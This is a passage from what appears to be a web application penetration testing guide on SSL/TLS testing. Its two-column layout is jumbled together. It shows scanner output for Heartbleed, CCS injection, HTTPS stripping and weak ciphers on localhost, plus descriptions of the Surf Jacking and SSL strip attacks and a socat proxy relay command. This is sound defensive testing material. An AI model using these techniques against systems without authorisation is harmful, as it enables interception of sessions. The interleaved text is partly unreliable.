Renegotiation (CVE 2009-3555) NOT vulnerable (ok) • RC4 support
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) • CRIME & TIME (If CRIME is detected, TIME will also be reported)
• Lucky13
• HSTS: Check for implementation of HSTS header
--> Checking RC4 Ciphers
• HSTS: Reasonable duration of MAX-AGE
• HSTS: Check for SubDomains support
RC4 seems generally available. Now testing specific ciphers... • Certificate expiration
• Insufficient public key-length
Hexcode Cipher Name KeyExch. Encryption Bits • Host-name mismatch
--------------------------------------------------------- • Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
----------- • SSLv2 support
[0x05] RC4-SHA RSA RC4 128 • Weak ciphers check
• Null Prefix in certificate
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a • HTTPS Stripping
• Surf Jacking
• Non-SSL elements/contents embedded in SSL page
--> Testing HTTP Header response
• Cache-Control
HSTS no
Server Apache
Application (None)
166

Web Application Penetration Testing

pentester@r00ting: % breacher.sh https://localhost/login.php 0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......


SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-
Host Info: I...@........
============== 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
Host : localhost .B.D.Y..........
Port : 443 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
Path : /login.php .!.”.
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
#.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-
Certificate Info: .../.0.1.2.
================== 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
Type: Domain Validation Certificate (i.e. NON-Extended Valida- 3.4.5.6.7.8.9.:.
tion Certificate) 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
Expiration Date: Sat Nov 09 07:48:47 SGT 2019 ;.<.=.>[email protected].
Signature Hash Algorithm: SHA1withRSA 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
Public key: Sun RSA public key, 1024 bits C.D.E.F.`.a.b.c.
modulus: 13563296484355500991016409816100408625 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
9135236815846778903941582882908611097021488277 d.e.f.g.h.i.j.k.
5657328517128950572278496563648868981962399018 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
7956963565986177085092024117822268667016231814 l.m.............
7175328086853962427921575656093414000691131757 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
0996633223696567560900301903699230503066687785 .!.”.#.$.%.&.’.
34926124693591013220754558036175189121517 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
public exponent: 65537 (.).*.+.,.-.../.
Signed for: CN=localhost 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
Signed by: CN=localhost 0.1.2.3.4.5.6.7.
Total certificate chain: 1 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?.
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
output.) @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
===================================== H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
Certificate Validation: P.Q.R.S.T.U.V.W.
=============================== 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
[!] Signed using Insufficient public key length 1024 bits X.Y.Z.[.\.].^._.
(Refer to http://www.keylength.com/ for details) 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
[!] Certificate Signer: Self-signed/Untrusted CA - verified with `.a.b.c.d.e.f.g.
Firefox & Java ROOT CAs. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
h.i.j.k.l.m.n.o.
===================================== 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
p.q.r.s.t.u.v.w.
Loading module: Hut3 Cardiac Arrest ... 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
x.y.z.{.|.}.~...
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
... ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
[-] Connecting to 127.0.0.1:443 using SSLv3 2...............
[-] Sending ClientHello 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
[-] ServerHello received ....#...........
[-] Sending Heartbeat 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
[Vulnerable] Heartbeat response was 16384 bytes instead of ..........}.....
3! 127.0.0.1:443 is vulnerable over SSLv3
[-] Displaying response (lines consisting entirely of null bytes [-] Closing connection
are removed):
[-] Connecting to 127.0.0.1:443 using TLSv1.0
[-] Sending ClientHello
167

Web Application Penetration Testing

[-] ServerHello received 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02


[-] Sending Heartbeat ..........}.....
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.0 [-] Closing connection
[-] Displaying response (lines consisting entirely of null bytes are
removed): [-] Connecting to 127.0.0.1:443 using TLSv1.1
[-] Sending ClientHello
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ...... [-] ServerHello received
SHs.|..... [-] Sending Heartbeat
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..- [Vulnerable] Heartbeat response was 16384 bytes instead of 3!
I...@........ 127.0.0.1:443 is vulnerable over TLSv1.1
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 [-] Displaying response (lines consisting entirely of null bytes are
.B.D.Y.......... removed):
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!.”. 0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 SHs.|.....
#.$.%.&.’.(.).*. 0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.- I...@........
.../.0.1.2. 0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 .B.D.Y..........
3.4.5.6.7.8.9.:. 0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 .!.”.
;.<.=.>[email protected]. 0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 #.$.%.&.’.(.).*.
C.D.E.F.`.a.b.c. 0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 .../.0.1.2.
d.e.f.g.h.i.j.k. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 3.4.5.6.7.8.9.:.
l.m............. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 ;.<.=.>[email protected].
.!.”.#.$.%.&.’. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 C.D.E.F.`.a.b.c.
(.).*.+.,.-.../. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 d.e.f.g.h.i.j.k.
0.1.2.3.4.5.6.7. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 l.m.............
8.9.:.;.<.=.>.?. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 .!.”.#.$.%.&.’.
@.A.B.C.D.E.F.G. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 (.).*.+.,.-.../.
H.I.J.K.L.M.N.O. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 0.1.2.3.4.5.6.7.
P.Q.R.S.T.U.V.W. 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 8.9.:.;.<.=.>.?.
X.Y.Z.[.\.].^._. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 @.A.B.C.D.E.F.G.
`.a.b.c.d.e.f.g. 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 H.I.J.K.L.M.N.O.
h.i.j.k.l.m.n.o. 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 P.Q.R.S.T.U.V.W.
p.q.r.s.t.u.v.w. 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 X.Y.Z.[.\.].^._.
x.y.z.{.|.}.~... 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 `.a.b.c.d.e.f.g.
..I...........4. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 h.i.j.k.l.m.n.o.
2............... 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 p.q.r.s.t.u.v.w.
....#........... 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
168

Web Application Penetration Testing

x.y.z.{.|.}.~... 0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 `.a.b.c.d.e.f.g.
..I...........4. 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 h.i.j.k.l.m.n.o.
2............... 0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 p.q.r.s.t.u.v.w.
....#........... 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 x.y.z.{.|.}.~...
..........}..... 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00
..I...........4.
[-] Closing connection 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00
2...............
[-] Connecting to 127.0.0.1:443 using TLSv1.2 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00
[-] Sending ClientHello ....#...........
[-] ServerHello received 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02
[-] Sending Heartbeat ..........}.....
[Vulnerable] Heartbeat response was 16384 bytes instead of 3!
127.0.0.1:443 is vulnerable over TLSv1.2 [-] Closing connection
[-] Displaying response (lines consisting entirely of null bytes are
removed):

0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ...... [!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in


SHs.|..... http://heartbleed.com/
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..- [!] Vulnerability Status: VULNERABLE
I...@........
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00
.B.D.Y.......... =====================================
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 ..........
.!.”. Loading module: CCS Injection script by TripWire VERT ...
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00
#.$.%.&.’.(.).*. Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS)
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.- Injection bug (CVE-2014-0224) ...
.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 [!] The target may allow early CCS on TLSv1.2
3.4.5.6.7.8.9.:. [!] The target may allow early CCS on TLSv1.1
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 [!] The target may allow early CCS on TLSv1
;.<.=.>[email protected]. [!] The target may allow early CCS on SSLv3
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00
C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 [-] This is an experimental detection script and does not defini-
d.e.f.g.h.i.j.k. tively determine vulnerable server status.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00
l.m............. [!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS)
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 Injection vulnerability (CVE-2014-0224) mentioned in http://
.!.”.#.$.%.&.’. ccsinjection.lepidum.co.jp/
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 [!] Vulnerability Status: Possible
(.).*.+.,.-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0
0.1.2.3.4.5.6.7. =====================================
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0
8.9.:.;.<.=.>.?. Checking localhost:443 for HTTP Compression support against
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 BREACH vulnerability (CVE-2013-3587) ...
@.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 [*] HTTP Compression: DISABLED
H.I.J.K.L.M.N.O. [*] Immune from BREACH attack mentioned in https://media.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 blackhat.com/us-13/US-13-Prado-SSL-Gone-in-30-seconds-
P.Q.R.S.T.U.V.W. A-BREACH-beyond-CRIME-WP.pdf
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 [*] Vulnerability Status: No
X.Y.Z.[.\.].^._.
169

Web Application Penetration Testing

test.css”>
--------------- RAW HTTP RESPONSE ---------------

HTTP/1.1 200 OK =====================================


Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 Checking localhost for HTTP support against HTTPS Stripping
X-Powered-By: PHP/5.4.7 attack ...
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure [!] HTTP Support on port [80] : SUPPORTED
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 [!] Vulnerable to HTTPS Stripping attack mentioned in https://
12:48:07 GMT; path=/ www.blackhat.com/presentations/bh-dc-09/Marlinspike/
Content-Length: 193 BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf
Connection: close [!] Vulnerability Status: VULNERABLE
Content-Type: text/html

<html> =====================================
<head>
<title>Login page </title> Checking localhost:443 for HTTP elements embedded in SSL
</head> page ...
<body>
<script src=”http://othersite/test.js”></script> [!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack
<link rel=”stylesheet” type=”text/css” href=”http://somesite/ [!] Vulnerability Status: VULNERABLE
test.css”>

--------------- HTTP RESOURCES EMBEDDED ---------------


===================================== - http://othersite/test.js
- http://somesite/test.css
Checking localhost:443 for correct use of Strict Transport Securi-
ty (STS) response header (RFC6797) ... =====================================

[!] STS response header: NOT PRESENT Checking localhost:443 for ROBUST use of anti-caching mech-
[!] Vulnerable to MITM threats mentioned in https://www.owasp. anism ...
org/index.php/HTTP_Strict_Transport_Security#Threats
[!] Vulnerability Status: VULNERABLE [!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL
page and sensitive information will be leaked.
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerability Status: VULNERABLE

HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT -------------------------------------------------
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7 Robust Solution:
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07
GMT; path=/; secure - Cache-Control: no-cache, no-store, must-revalidate,
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 pre-check=0, post-check=0, max-age=0, s-maxage=0
12:48:07 GMT; path=/ - Ref: https://www.owasp.org/index.php/Testing_for_
Content-Length: 193 Browser_cache_weakness_(OTG-AUTHN-006)
Connection: close http://msdn.microsoft.com/en-us/library/
Content-Type: text/html ms533020(v=vs.85).aspx

<html> =====================================
<head>
<title>Login page </title> Checking localhost:443 for Surf Jacking vulnerability (due to
</head> Session Cookie missing secure flag) ...
<body>
<script src=”http://othersite/test.js”></script> [!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOK-
IES
<link rel=”stylesheet” type=”text/css” href=”http://somesite/ [!] Vulnerable to Surf Jacking attack mentioned in https://re-
170

Web Application Penetration Testing

sources.enablesecurity.com/resources/Surf%20Jacking.pdf 2009-3555,CVE-2011-1473,CVE-2011-5094) ...


[!] Vulnerability Status: VULNERABLE
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED
--------------- RAW HTTP RESPONSE --------------- [*] Mitigated from DOS attack (CVE-2011-
1473,CVE-2011-5094) mentioned in https://www.thc.org/thc-
HTTP/1.1 200 OK ssl-dos/
Date: Wed, 23 Jul 2014 13:48:07 GMT [*] Vulnerability Status: No
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
X-Powered-By: PHP/5.4.7
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 [*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED
GMT; path=/; secure [*] Immune from TLS Plain-text Injection attack (CVE-
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 2009-3555) - http://cve.mitre.org/cgi-bin/cvename.
12:48:07 GMT; path=/ cgi?name=CVE-2009-3555
Content-Length: 193 [*] Vulnerability Status: No
Connection: close
Content-Type: text/html
=====================================
=====================================
Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for ECDHE/DHE ciphers against FOR-
WARD SECRECY support ... Checking localhost:443 for SSL version 2 support ...

[*] Forward Secrecy: SUPPORTED [*] SSL version 2 : NOT SUPPORTED


[*] Connected using cipher - TLS_ECDHE_RSA_WITH_ [*] Immune from SSLv2-based MITM attack
AES_128_CBC_SHA on protocol - TLSv1 [*] Vulnerability Status: No
[*] Attackers will NOT be able to decrypt sniffed SSL packets
even if they have compromised private keys.
[*] Vulnerability Status: No =====================================

===================================== Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT)


weak ciphers support ...
Checking localhost:443 for RC4 support (CVE-2013-2566) ...
Supported LANE cipher suites:
[!] RC4: SUPPORTED SSLv3
[!] Vulnerable to MITM attack described in http://www.isg.rhul. RSA_EXPORT_WITH_RC4_40_MD5
ac.uk/tls/ RSA_EXPORT_WITH_RC2_CBC_40_MD5
[!] Vulnerability Status: VULNERABLE RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
DHE_RSA_WITH_DES_CBC_SHA
===================================== TLS_ECDH_anon_WITH_RC4_128_SHA
TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
Checking localhost:443 for TLS 1.1 support ... TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
Checking localhost:443 for TLS 1.2 support ... (TLSv1.1: same as above)
(TLSv1.2: same as above)
[*] TLS 1.1, TLS 1.2: SUPPORTED
[*] Immune from BEAST attack mentioned in http://www.
infoworld.com/t/security/red-alert-https-has-been- [!] LANE ciphers : SUPPORTED
hacked-174025 [!] Attackers may be ABLE to recover encrypted packets.
[*] Vulnerability Status: No [!] Vulnerability Status: VULNERABLE

=====================================
=====================================
Checking localhost:443 for GCM/CCM ciphers support against
Loading module: sslyze by iSecPartners ... Lucky13 attack (CVE-2013-0169) ...

Checking localhost:443 for Session Renegotiation support (CVE- Supported GCM cipher suites against Lucky13 attack:
171

Web Application Penetration Testing

services.
TLSv1.2
TLS_RSA_WITH_AES_128_GCM_SHA256 Example 1. Testing for certificate validity (manually)
TLS_RSA_WITH_AES_256_GCM_SHA384 Rather than providing a fictitious example, this guide includes
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 an anonymized real-life example to stress how frequently one
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 stumbles on https sites whose certificates are inaccurate with
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 respect to naming. The following screenshots refer to a regional
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 site of a high-profile IT company.

We are visiting a .it site and the certificate was issued to a .com
[*] GCM/CCM ciphers : SUPPORTED site. Internet Explorer warns that the name on the certificate
[*] Immune from Lucky13 attack mentioned in http://www.isg. does not match the name of the site.
rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No

=====================================

Checking localhost:443 for TLS Compression support against


CRIME (CVE-2012-4929) & TIME attack ...

[*] TLS Compression : DISABLED


[*] Immune from CRIME & TIME attack mentioned in https://me-
dia.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-
crime-beery-wp.pdf
[*] Vulnerability Status: No

=====================================

[+] Breacher finished scanning in 12 seconds.


[+] Get your latest copy at http://yehg.net/ Warning issued by Microsoft Internet Explorer

The message issued by Firefox is different. Firefox complains


Testing SSL certificate validity – client and server because it cannot ascertain the identity of the .com site the cer-
Firstly upgrade the browser because CA certs expire and in every tificate refers to because it does not know the CA which signed
release of the browser these are renewed. Examine the validity the certificate. In fact, Internet Explorer and Firefox do not come
of the certificates used by the application. Browsers will issue pre-loaded with the same list of CAs. Therefore, the behavior ex-
a warning when encountering expired certificates, certificates perienced with various browsers may differ.
issued by untrusted CAs, and certificates which do not match
name wise with the site to which they should refer.

By clicking on the padlock that appears in the browser window


when visiting an HTTPS site, testers can look at information re-
lated to the certificate – including the issuer, period of validity,
encryption characteristics, etc. If the application requires a client
certificate, that tester has probably installed one to access it.
Certificate information is available in the browser by inspecting
the relevant certificate(s) in the list of the installed certificates.

These checks must be applied to all visible SSL-wrapped com-


munication channels used by the application. Though this is the
usual https service running on port 443, there may be additional
services involved depending on the web application architecture
and on deployment issues (an HTTPS administrative port left
open, HTTPS services on non-standard ports, etc.). Therefore,
apply these checks to all SSL-wrapped ports which have been Warning issued by Mozilla Firefox
discovered. For example, the nmap scanner features a scanning
mode (enabled by the –sV command line switch) which identi- Testing for other vulnerabilities
fies SSL-wrapped services. The Nessus vulnerability scanner has As mentioned previously, there are other types of vulnerabilities
the capability of performing SSL checks on all SSL/TLS-wrapped that are not related with the SSL/TLS protocol used, the cipher
172

Web Application Penetration Testing

suites or Certificates. Apart from other vulnerabilities discussed 10.13.37.100:3128 run socat as follows:
in other parts of this guide, a vulnerability exists when the server
provides the website both with the HTTP and HTTPS protocols,
$ socat TCP-LISTEN:9999,reuseaddr,fork
and permits an attacker to force a victim into using a non-secure
PROXY:10.13.37.100:destined.application.lan:443,proxy-
channel instead of a secure one.
port=3128
Surf Jacking
The Surf Jacking attack [7] was first presented by Sandro Gauci
and permits to an attacker to hijack an HTTP session even when Then the tester can target all other tools to localhost:9999:
the victim’s connection is encrypted using SSL or TLS.

The following is a scenario of how the attack can take place: $ openssl s_client -connect localhost:9999
• Victim logs into the secure website at https://somesecure-
site/.
• The secure site issues a session cookie as the client logs in. All connections to localhost:9999 will be effectively relayed by
• While logged in, the victim opens a new browser window and socat via proxy to destined.application.lan:443.
goes to http:// examplesite/
• An attacker sitting on the same network is able to see the clear Configuration Review
text traffic to http://examplesite. Testing for Weak SSL/TLS Cipher Suites
• The attacker sends back a “301 Moved Permanently” in Check the configuration of the web servers that provide https
response to the clear text traffic to http://examplesite. The services. If the web application provides other SSL/TLS wrapped
response contains the header “Location: http://somesecuresite services, these should be checked as well.
/”, which makes it appear that examplesite is sending the web
browser to somesecuresite. Notice that the URL scheme is Example 9. Windows Server
HTTP not HTTPS. Check the configuration on a Microsoft Windows Server (2000,
• The victim’s browser starts a new clear text connection to 2003 and 2008) using the registry key:
http://somesecuresite/ and sends an HTTP request containing
the cookie in the HTTP header in clear text
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Con-
• The attacker sees this traffic and logs the cookie for later use.
trol\SecurityProviders\SCHANNEL\
To test if a website is vulnerable carry out the following tests:
that has some sub-keys including Ciphers, Protocols and KeyEx-
[1] Check if website supports both HTTP and HTTPS protocols changeAlgorithms.
[2] Check if cookies do not have the “Secure” flag

SSL Strip Example 10: Apache


Some applications supports both HTTP and HTTPS, either for To check the cipher suites and protocols supported by the
usability or so users can type both addresses and get to the site. Apache2 web server, open the ssl.conf file and search for the
Often users go into an HTTPS website from link or a redirect. SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,SSLInse-
Typically personal banking sites have a similar configuration with cureRenegotiation and SSLCompression directives.
an iframed log in or a form with action attribute over HTTPS but
the page under HTTP. Testing SSL certificate validity – client and server
Examine the validity of the certificates used by the application
An attacker in a privileged position - as described in SSL strip at both server and client levels. The usage of certificates is pri-
[8] - can intercept traffic when the user is in the http site and marily at the web server level, however, there may be additional
manipulate it to get a Man-In-The-Middle attack under HTTPS. communication paths protected by SSL (for example, towards
An application is vulnerable if it supports both HTTP and HTTPS. the DBMS). Testers should check the application architecture to
identify all SSL protected channels.
Testing via HTTP proxy Tools
Inside corporate environments testers can see services
that are not directly accessible and they can access them • [21][Qualys SSL Labs - SSL Server Test | https://www.ssllabs.
only via HTTP proxy using the CONNECT method [36]. com/ssltest/index.html]: internet facing scanner
• [27] [Tenable - Nessus Vulnerability Scanner | http://www.
Most of the tools will not work in this scenario because they try tenable.com/products/nessus]: includes some plugins to test
to connect to the desired tcp port to start the SSL/TLS hand- different SSL related vulnerabilities, Certificates and the pres-
shake. With the help of relaying software such as socat [37] tes- ence of HTTP Basic authentication without SSL.
ters can enable those tools for use with services behind an HTTP • [32] [TestSSLServer | http://www.bolet.org/TestSSLServer/]:
proxy. a java scanner - and also windows executable - includes tests
for cipher suites, CRIME and BEAST
Example 8. Testing via HTTP proxy • [33] [sslyze | https://github.com/iSECPartners/sslyze]: is a
To connect to destined.application.lan:443 via proxy python script to check vulnerabilities in SSL/TLS.
173

Web Application Penetration Testing

• [28] [SSLAudit|https://code.google.com/p/sslaudit/]: a perl • [1] [RFC5246 - The Transport Layer Security (TLS) Protocol
script/windows executable scanner which follows Qualys SSL Version 1.2 (Updated by RFC 5746, RFC 5878, RFC 6176)|http://
Labs Rating Guide. www.ietf.org/rfc/rfc5246.txt]
